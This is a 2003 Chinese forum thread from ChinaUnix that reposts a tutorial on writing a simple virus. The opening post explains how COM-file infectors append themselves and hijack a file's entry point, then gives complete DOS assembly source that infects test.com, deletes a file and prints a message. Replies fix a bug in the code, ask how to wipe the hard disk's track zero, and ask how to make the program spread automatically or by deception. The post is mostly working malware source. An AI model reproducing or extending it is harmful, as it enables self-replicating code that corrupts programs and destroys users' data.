免费注册 查看新帖 |

Chinaunix

  平台 论坛 博客 文库
12下一页
最近访问板块 发新帖
查看: 4721 | 回复: 10
打印 上一主题 下一主题

[转贴]病毒制作第一步~~~ [复制链接]

论坛徽章:
0
跳转到指定楼层
1 [收藏(0)] [报告]
发表于 2003-01-14 14:16 |只看该作者 |倒序浏览
病毒的编写是一种高深技术,真正的病毒一般都具有:传染性、隐藏性(又称潜伏性)、破坏性。现在的病毒种类也不少,如平常的传染可执行文件的病毒、宏病毒等等。但原始的、破坏性最大的病毒还是传染可执行文件的病毒(像CIH病毒),而这些病毒一般都是用汇编语言编写的。有许多人对病毒有着好奇和向往,但是往往又因为汇编语言的难学等问题望而却步。

这篇文章就是教给大家如何制作一个简单的程序,这个程序虽然算不上病毒但是具有病毒的传染性,而往往病毒的传染性是平常人最难做到的。

好啦,现在转入正题,先讲讲病毒是如何传染的,传染后又如何在被染的文件中执行的,其实道理非常简单:病毒一般将其代码写入执行文件的尾部,然后使执行文件在执行时先执行文件尾部的病毒代码,然后再跳回原代码处执行。现在举一个试例进行说明:

;-----------------------------------------
;功能:感染当前文件夹的test.com文件
; 并删除当前文件夹的del.txt文件
; 显示预设的字符串
CSEG SEGMENT
ASSUME CS:CSEG,DS:CSEG,SS:CSEG
main PROC NEAR
mainstart:
CALL vstart ;病毒的代码开始处
vstart:
POP SI ;得到当前地址
MOV BP,SI ;保存当前地址
PUSH SI
MOV AH,9
ADD SI,OFFSET message-OFFSET vstart ;显示预设字符串
MOV DX,SI
INT 21h
POP SI
ADD SI,OFFSET yuan4byte-OFFSET vstart ;取得原程序中的前四个字节
MOV DI,100h ;目的地址
MOV AX,DS:[SI] ;开始复制
MOV DS:[DI],AX
INC SI
INC SI
INC DI
INC DI
MOV AX,DS:[SI]
MOV DS:[DI],AX
MOV SI,BP ;恢复地址值
MOV DX,OFFSET delname-OFFSET vstart
ADD DX,SI
MOV AH,41h
INT 21h
MOV DX,OFFSET filename-OFFSET vstart ;得到文件名
ADD DX,SI
MOV AL,02
MOV AH,3dh ;写文件
INT 21h
JC error
MOV BX,AX ;文件句柄
MOV DX,OFFSET yuan4byte-OFFSET vstart ;读文件的前四个字节
ADD DX,SI
MOV CX,4
MOV AH,3fh
INT 21h
MOV AX,4202h ;到文件尾
XOR CX,CX
XOR DX,DX
INT 21h
MOV DI,OFFSET new4byte-OFFSET vstart ;保存要跳的地方
ADD DI,2
ADD DI,SI
SUB AX,4
MOV DS:[DI],AX
ADD SI,OFFSET mainstart-OFFSET vstart ;准备写入病毒
MOV DX,SI
MOV vsizes,OFFSET vends-OFFSET mainstart
MOV CX,vsizes
MOV AH,40h
INT 21h
MOV SI,BP ;定位到文件头
MOV AL,0
XOR CX,CX
XOR DX,DX
MOV AH,42h
INT 21h
MOV AH,40h ;将新的文件头写入
MOV CX,4
MOV DX,OFFSET new4byte-OFFSET vstart
ADD DX,SI
INT 21h
MOV AH,3eh ;关闭文件
INT 21h
error:
MOV AX,100h
PUSH AX
RET
main ENDP
yuan4byte:
RET
DB 3 DUP (?)
vsizes DW 0
new4byte DB ‘M‘,0e9h,0,0
filename DB "test.com",0
delname DB "del.txt",0
message DB "He he he he!"
DB 0dh,0ah,"$"
vends:
start:
MOV AX,CSEG
MOV DS,AX
MOV SS,AX
CALL main
MOV AX,4c00h
INT 21h
CSEG ENDS
END start
以上就是一个简单的可以传染COM文件的程序代码, 也是想当初我所做的具有传染性质的第一个程序。如何???不难吧。
附:
COM文件执行时将COM文件内所的所有内容COPY到内存, 起始地址是100,然后进行执行
没有任何有关节啦、段啦这些属性,所以COM文件病毒是最简单最简单的病毒。

论坛徽章:
0
2 [报告]
发表于 2003-01-15 12:26 |只看该作者

[转贴]病毒制作第一步~~~

收藏

论坛徽章:
0
3 [报告]
发表于 2003-01-15 17:42 |只看该作者

[转贴]病毒制作第一步~~~

呵呵,我想试一下,请问应该把这段代码存成什么文件?

论坛徽章:
0
4 [报告]
发表于 2003-01-15 18:43 |只看该作者

[转贴]病毒制作第一步~~~

不是吧,公布汇编源代码
真是开放啊,我先看看~
顺便问下:大侠,如果写硬盘零磁道,如何实现?

论坛徽章:
0
5 [报告]
发表于 2003-01-15 18:46 |只看该作者

[转贴]病毒制作第一步~~~

应该存成com就可以
存汇编不知道你什么系统?2000歇~

论坛徽章:
0
6 [报告]
发表于 2003-01-16 08:48 |只看该作者

[转贴]病毒制作第一步~~~

这是供大家学习交流用的,不要用来做坏事呀~~~

论坛徽章:
0
7 [报告]
发表于 2003-01-16 14:46 |只看该作者

[转贴]病毒制作第一步~~~

new4byte DB ‘M‘,0e9h,0,0    ;单引号变成中文的了,改成英文的就好了

论坛徽章:
0
8 [报告]
发表于 2003-01-18 14:47 |只看该作者

[转贴]病毒制作第一步~~~

高明,汇编倒是学过,不过学了重来没用过。看来以后得好好研究研究了。

论坛徽章:
0
9 [报告]
发表于 2003-01-18 14:50 |只看该作者

[转贴]病毒制作第一步~~~

对了,请教,如何让它自动执行或者感染其他文件?是不是要用欺骗手段?

论坛徽章:
0
10 [报告]
发表于 2003-01-20 10:25 |只看该作者

[转贴]病毒制作第一步~~~

使用什么手段,就要看各位的功力了,我觉得主要是思路,只要找对思路就不难了。编程只是一种实现方式,关键是思路~~~
您需要登录后才可以回帖 登录 | 注册

本版积分规则 发表回复

  

北京盛拓优讯信息技术有限公司. 版权所有 京ICP备16024965号-6 北京市公安局海淀分局网监中心备案编号:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年举报专区
中国互联网协会会员  联系我们:huangweiwei@itpub.net
感谢所有关心和支持过ChinaUnix的朋友们 转载本站内容请注明原作者名及出处

清除 Cookies - ChinaUnix - Archiver - WAP - TOP